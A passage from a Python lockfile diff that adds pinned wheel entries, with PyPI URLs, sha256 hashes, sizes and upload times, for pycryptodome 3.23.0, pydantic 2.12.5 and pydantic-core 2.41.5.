"https://files.pythonhosted.org/packages/f9/c5/ffe6474e0c551d54cab931918127c46d70cab8f114e0c2b5a3c071c2f484/pycryptodome-3.23.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:aa0698f65e5b570426fc31b8162ed4603b0c2841cbb9088e2b01641e3065915b", size = 2308534, upload-time = "2025-05-17T17:20:57.279Z" }, + { url = "https://files.pythonhosted.org/packages/18/28/e199677fc15ecf43010f2463fde4c1a53015d1fe95fb03bca2890836603a/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:53ecbafc2b55353edcebd64bf5da94a2a2cdf5090a6915bcca6eca6cc452585a", size = 2181853, upload-time = "2025-05-17T17:20:59.322Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ea/4fdb09f2165ce1365c9eaefef36625583371ee514db58dc9b65d3a255c4c/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_i686.whl", hash = "sha256:156df9667ad9f2ad26255926524e1c136d6664b741547deb0a86a9acf5ea631f", size = 2342465, upload-time = "2025-05-17T17:21:03.83Z" }, + { url = "https://files.pythonhosted.org/packages/22/82/6edc3fc42fe9284aead511394bac167693fb2b0e0395b28b8bedaa07ef04/pycryptodome-3.23.0-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:dea827b4d55ee390dc89b2afe5927d4308a8b538ae91d9c6f7a5090f397af1aa", size = 2267414, upload-time = "2025-05-17T17:21:06.72Z" }, + { url = "https://files.pythonhosted.org/packages/59/fe/aae679b64363eb78326c7fdc9d06ec3de18bac68be4b612fc1fe8902693c/pycryptodome-3.23.0-cp37-abi3-win32.whl", hash = "sha256:507dbead45474b62b2bbe318eb1c4c8ee641077532067fec9c1aa82c31f84886", size = 1768484, upload-time = "2025-05-17T17:21:08.535Z" }, + { url = "https://files.pythonhosted.org/packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:c75b52aacc6c0c260f204cbdd834f76edc9fb0d8e0da9fbf8352ef58202564e2", size = 1799636, upload-time = "2025-05-17T17:21:10.393Z" }, + { url = "https://files.pythonhosted.org/packages/18/3d/f9441a0d798bf2b1e645adc3265e55706aead1255ccdad3856dbdcffec14/pycryptodome-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:11eeeb6917903876f134b56ba11abe95c0b0fd5e3330def218083c7d98bbcb3c", size = 1703675, upload-time = "2025-05-17T17:21:13.146Z" }, + { url = "https://files.pythonhosted.org/packages/d9/12/e33935a0709c07de084d7d58d330ec3f4daf7910a18e77937affdb728452/pycryptodome-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ddb95b49df036ddd264a0ad246d1be5b672000f12d6961ea2c267083a5e19379", size = 1623886, upload-time = "2025-05-17T17:21:20.614Z" }, + { url = "https://files.pythonhosted.org/packages/22/0b/aa8f9419f25870889bebf0b26b223c6986652bdf071f000623df11212c90/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e95564beb8782abfd9e431c974e14563a794a4944c29d6d3b7b5ea042110b4", size = 1672151, upload-time = "2025-05-17T17:21:22.666Z" }, + { url = "https://files.pythonhosted.org/packages/d4/5e/63f5cbde2342b7f70a39e591dbe75d9809d6338ce0b07c10406f1a140cdc/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14e15c081e912c4b0d75632acd8382dfce45b258667aa3c67caf7a4d4c13f630", size = 1664461, upload-time = "2025-05-17T17:21:25.225Z" }, + { url = "https://files.pythonhosted.org/packages/d6/92/608fbdad566ebe499297a86aae5f2a5263818ceeecd16733006f1600403c/pycryptodome-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7fc76bf273353dc7e5207d172b83f569540fc9a28d63171061c42e361d22353", size = 1702440, upload-time = "2025-05-17T17:21:27.991Z" }, + { url = "https://files.pythonhosted.org/packages/d1/92/2eadd1341abd2989cce2e2740b4423608ee2014acb8110438244ee97d7ff/pycryptodome-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:45c69ad715ca1a94f778215a11e66b7ff989d792a4d63b68dc586a1da1392ff5", size = 1803005, upload-time = "2025-05-17T17:21:31.37Z" }, +] + +[[package]] +name = "pydantic" +version = "2.12.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.41.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c6/90/32c9941e728d564b411d574d8ee0cf09b12ec978cb22b294995bae5549a5/pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146", size = 2107298, upload-time = "2025-11-04T13:39:04.116Z" }, + { url = "https://files.pythonhosted.org/packages/fb/a8/61c96a77fe28993d9a6fb0f4127e05430a267b235a124545d79fea46dd65/pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2", size = 1901475, upload-time = "2025-11-04T13:39:06.055Z" }, + { url = "https://files.pythonhosted.org/packages/5d/b6/338abf60225acc18cdc08b4faef592d0310923d19a87fba1faf05af5346e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97", size = 1918815, upload-time = "2025-11-04T13:39:10.41Z" }, + { url = "https://files.pythonhosted.org/packages/d1/1c/2ed0433e682983d8e8cba9c8d8ef274d4791ec6a6f24c58935b90e780e0a/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9", size = 2065567, upload-time = "2025-11-04T13:39:12.244Z" }, + { url = "https://files.pythonhosted.org/packages/b3/24/cf84974ee7d6eae06b9e63289b7b8f6549d416b5c199ca2d7ce13bbcf619/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52", size = 2230442, upload-time = "2025-11-04T13:39:13.962Z" }, + { url = "https://files.pythonhosted.org/packages/fd/21/4e287865504b3edc0136c89c9c09431be326168b1eb7841911cbc877a995/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941", size = 2350956, upload-time = "2025-11-04T13:39:15.889Z" }, + { url = "https://files.pythonhosted.org/packages/a8/76/7727ef2ffa4b62fcab916686a68a0426b9b790139720e1934e8ba797e238/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a", size = 2068253, upload-time = "2025-11-04T13:39:17.403Z" }, + { url = "https://files.pythonhosted.org/packages/d5/8c/a4abfc79604bcb4c748e18975c44f94f756f08fb04218d5cb87eb0d3a63e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c", size = 2177050, upload-time = "2025-11-04T13:39:19.351Z" }, + { url = "https://files.pythonhosted.org/packages/67/b1/de2e9a9a79b480f9cb0b6e8b6ba4c50b18d4e89852426364c66aa82bb7b3/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2", size = 2147178, upload-time = "2025-11-04T13:39:21Z" }, + { url = "https://files.pythonhosted.org/packages/16/c1/dfb33f837a47b20417500efaa0378adc6635b3c79e8369ff7a03c494b4ac/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556", size = 2341833, upload-time = "2025-11-04T13:39:22.606Z" }, + { url = "https://files.pythonhosted.org/packages/47/36/00f398642a0f4b815a9a558c4f1dca1b4020a7d49562807d7bc9ff279a6c/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49", size = 2321156, upload-time = "2025-11-04T13:39:25.843Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/cad3acd89fde2010807354d978725ae111ddf6d0ea46d1ea1775b5c1bd0c/pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba", size = 1989378, upload-time = "2025-11-04T13:39:27.92Z" }, + { url = "https://files.pythonhosted.org/packages/76/92/d338652464c6c367e5608e4488201702cd1cbb0f33f7b6a85a60fe5f3720/pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9", size = 2013622, upload-time = "2025-11-04T13:39:29.848Z" }, + { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" }, + { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" }, + { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" }, + { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" }, + { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" }, + { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" }, + { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" }, + { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" }, + { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" }, + { url = "https://files.pythonhosted.org/packages/fe/e6/8c9e81bb6dd7560e33b9053351c29f30c8194b72f2d6932888581f503482/pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b", size = 1987549, upload-time = "2025-11-04T13:39:51.842Z" }, + { url = "https://files.pythonhosted.org/packages/11/66/f14d1d978ea94d1bc21fc98fcf570f9542fe55bfcc40269d4e1a21c19bf7/pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe", size = 2011305, upload-time = "2025-11-04T13:39:53.485Z" }, + { url = "https://files.pythonhosted.org/packages/56/d8/0e271434e8efd03186c5386671328154ee349ff0354d83c74f5caaf096ed/pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f", size = 1972902, upload-time = "2025-11-04T13:39:56.488Z" }, + { url = "https://files.pythonhosted.org/packages/5f/5d/5f6c63eebb5afee93bcaae4ce9a898f3373ca23df3ccaef086d0233a35a7/pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7", size = 2110990, upload-time = "2025-11-04T13:39:58.079Z" }, + { url = "https://files.pythonhosted.org/packages/aa/32/9c2e8ccb57c01111e0fd091f236c7b371c1bccea0fa85247ac55b1e2b6b6/pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0", size = 1896003, upload-time = "2025-11-04T13:39:59.956Z" }, + { url = "https://files.pythonhosted.org/packages/68/b8/a01b53cb0e59139fbc9e4fda3e9724ede8de279097179be4ff31f1abb65a/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69", size = 1919200, upload-time = "2025-11-04T13:40:02.241Z" }, + { url = "https://files.pythonhosted.org/packages/38/de/8c36b5198a29bdaade07b5985e80a233a5ac27137846f3bc2d3b40a47360/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75", size = 2052578, upload-time = "2025-11-04T13:40:04.401Z" }, + { url = "https://files.pythonhosted.org/packages/00/b5/0e8e4b5b081eac6cb3dbb7e60a65907549a1ce035a724368c330112adfdd/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05", size = 2208504, upload-time = "2025-11-04T13:40:06.072Z" }, + { url = "https://files.pythonhosted.org/packages/77/56/87a61aad59c7c5b9dc8caad5a41a5545cba3810c3e828708b3d7404f6cef/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc", size = 2335816, upload-time = "2025-11-04T13:40:07.835Z" }, + { url = "https://files.pythonhosted.org/packages/0d/76/941cc9f73529988688a665a5c0ecff1112b3d95ab48f81db5f7606f522d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c", size = 2075366, upload-time = "2025-11-04T13:40:09.804Z" }, + { url = "https://files.pythonhosted.org/packages/d3/43/ebef01f69baa07a482844faaa0a591bad1ef129253ffd0cdaa9d8a7f72d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5", size = 2171698, upload-time = "2025-11-04T13:40:12.004Z" }, + { url = "https://files.pythonhosted.org/packages/b1/87/41f3202e4193e3bacfc2c065fab7706ebe81af46a83d3e27605029c1f5a6/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c", size = 2132603, upload-time = "2025-11-04T13:40:13.868Z" }, + { url = "https://files.pythonhosted.org/packages/49/7d/4c00df99cb12070b6bccdef4a195255e6020a550d572768d92cc54dba91a/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294", size = 2329591, upload-time = "2025-11-04T13:40:15.672Z" }, + { url = "https://files.pythonhosted.org/packages/cc/6a/ebf4b1d65d458f3cda6a7335d141305dfa19bdc61140a884d165a8a1bbc7/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1", size = 2319068, upload-time = "2025-11-04T13:40:17.532Z" }, + { url = "https://files.pythonhosted.org/packages/49/3b/774f2b5cd4192d5ab75870ce4381fd89cf218af999515baf07e7206753f0/pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d", size = 1985908, upload-time = "2025-11-04T13:40:19.309Z" }, + { url = "https://files.pythonhosted.org/packages/86/45/00173a033c801cacf67c190fef088789394feaf88a98a7035b0e40d53dc9/pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815", size = 2020145, upload-time = "2025-11-04T13:40:21.548Z" }, + { url = "https://files.pythonhosted.org/packages/f9/22/91fbc821fa6d261b376a3f73809f907cec5ca6025642c463d3488aad22fb/pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3", size = 1976179, upload-time = "2025-11-04T13:40:23.393Z" }, + { url = "https://files.pythonhosted.org/packages/87/06/8806241ff1f70d9939f9af039c6c35f2360cf16e93c2ca76f184e76b1564/pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9", size = 2120403, upload-time = "2025-11-04T13:40:25.248Z" }, + { url = "https://files.pythonhosted.org/packages/94/02/abfa0e0bda67faa65fef1c84971c7e45928e108fe24333c81f3bfe35d5f5/pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34", size = 1896206, upload-time = "2025-11-04T13:40:27.099Z" }, + { url = "https://files.pythonhosted.org/packages/15/df/a4c740c0943e93e6500f9eb23f4ca7ec9bf71b19e608ae5b579678c8d02f/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0", size = 1919307, upload-time = "2025-11-04T13:40:29.806Z" }, + { url = "https://files.pythonhosted.org/packages/9a/e3/6324802931ae1d123528988e0e86587c2072ac2e5394b4bc2bc34b61ff6e/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33", size = 2063258, upload-time = "2025-11-04T13:40:33.544Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d4/2230d7151d4957dd79c3044ea26346c148c98fbf0ee6ebd41056f2d62ab5/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e", size = 2214917, upload-time = "2025-11-04T13:40:35.479Z" }, + { url = "https://files.pythonhosted.org/packages/e6/9f/eaac5df17a3672fef0081b6c1bb0b82b33ee89aa5cec0d7b05f52fd4a1fa/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2", size = 2332186, upload-time = "2025-11-04T13:40:37.436Z" }, + { url = "https://files.pythonhosted.org/packages/cf/4e/35a80cae583a37cf15604b44240e45c05e04e86f9cfd766623149297e971/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586", size = 2073164, upload-time = "2025-11-04T13:40:40.289Z" }, + { url = "https://files.pythonhosted.org/packages/bf/e3/f6e262673c6140dd3305d144d032f7bd5f7497d3871c1428521f19f9efa2/pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d", size = 2179146, upload-time = "2025-11-04T13:40:42.809Z" }, + { url = "https://files.pythonhosted.org/packages/75/c7/20bd7fc05f0c6ea2056a4565c6f36f8968c0924f19b7d97bbfea55780e73/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740", size = 2137788, upload-time = "2025-11-04T13:40:44.752Z" }, + { url = "https://files.pythonhosted.org/packages/3a/8d/34318ef985c45196e004bc46c6eab2eda437e744c124ef0dbe1ff2c9d06b/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e", size = 2340133, upload-time = "2025-11-04T13:40:46.66Z" }, + { url = "https://files.pythonhosted.org/packages/9c/59/013626bf8c78a5a5d9350d12e7697d3d4de951a75565496abd40ccd46bee/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858", size = 2324852, upload-time = "2025-11-04T13:40:48.575Z" }, + { url = "https://files.pythonhosted.org/packages/1a/d9/c248c103856f807ef70c18a4f986693a46a8ffe1602e5d361485da502d20/pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36", size = 1994679, upload-time = "2025-11-04T13:40:50.619Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8b/341991b158ddab181cff136acd2552c9f35bd30380422a639c0671e99a91/pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11", size = 2019766, upload-time = "2025-11-04T13:40:52.631Z" }, + { url = "https://files.pythonhosted.org/packages/73/7d/f2f9db34af103bea3e09735bb40b021788a5e834c81eedb541991badf8f5/pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd", size = 1981005, upload-time = "2025-11-04T13:40:54.734Z" }, + { url = "https://files.pythonhosted.org/packages/ea/28/46b7c5c9635ae96ea0fbb779e271a38129df2550f763937659ee6c5dbc65/pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a", size = 2119622, upload-time = "2025-11-04T13:40:56.68Z" }, + { url = "https://files.pythonhosted.org/packages/74/1a/145646e5687e8d9a1e8d09acb278c8535ebe9e972e1f162ed338a622f193/pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14", size = 1891725, upload-time = "2025-11-04T13:40:58.807Z" }, + { url = "https://files.pythonhosted.org/packages/23/04/e89c29e267b8060b40dca97bfc64a19b2a3cf99018167ea1677d96368273/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1", size = 1915040, upload-time = "2025-11-04T13:41:00.853Z" }, + { url = "https://files.pythonhosted.org/packages/84/a3/15a82ac7bd97992a82257f777b3583d3e84bdb06ba6858f745daa2ec8a85/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66", size = 2063691, upload-time = "2025-11-04T13:41:03.504Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/0046701313c6ef08c0c1cf0e028c67c770a4e1275ca73131563c5f2a310a/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869", size = 2213897, upload-time = "2025-11-04T13:41:05.804Z" }, + { url = "https://files.pythonhosted.org/packages/8a/cd/6bac76ecd1b27e75a95ca3a9a559c643b3afcd2dd62086d4b7a32a18b169/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2", size = 2333302, upload-time = "2025-11-04T13:41:07.809Z" }, + { url = "https://files.pythonhosted.org/packages/4c/d2/ef2074dc020dd6e109611a8be4449b98cd25e1b9b8a303c2f0fca2f2bcf7/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375", size = 2064877, upload-time = "2025-11-04T13:41:09.827Z" }, + { url = "https://files.pythonhosted.org/packages/18/66/e9db17a9a763d72f03de903883c057b2592c09509ccfe468187f2a2eef29/pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553", size = 2180680, upload-time = 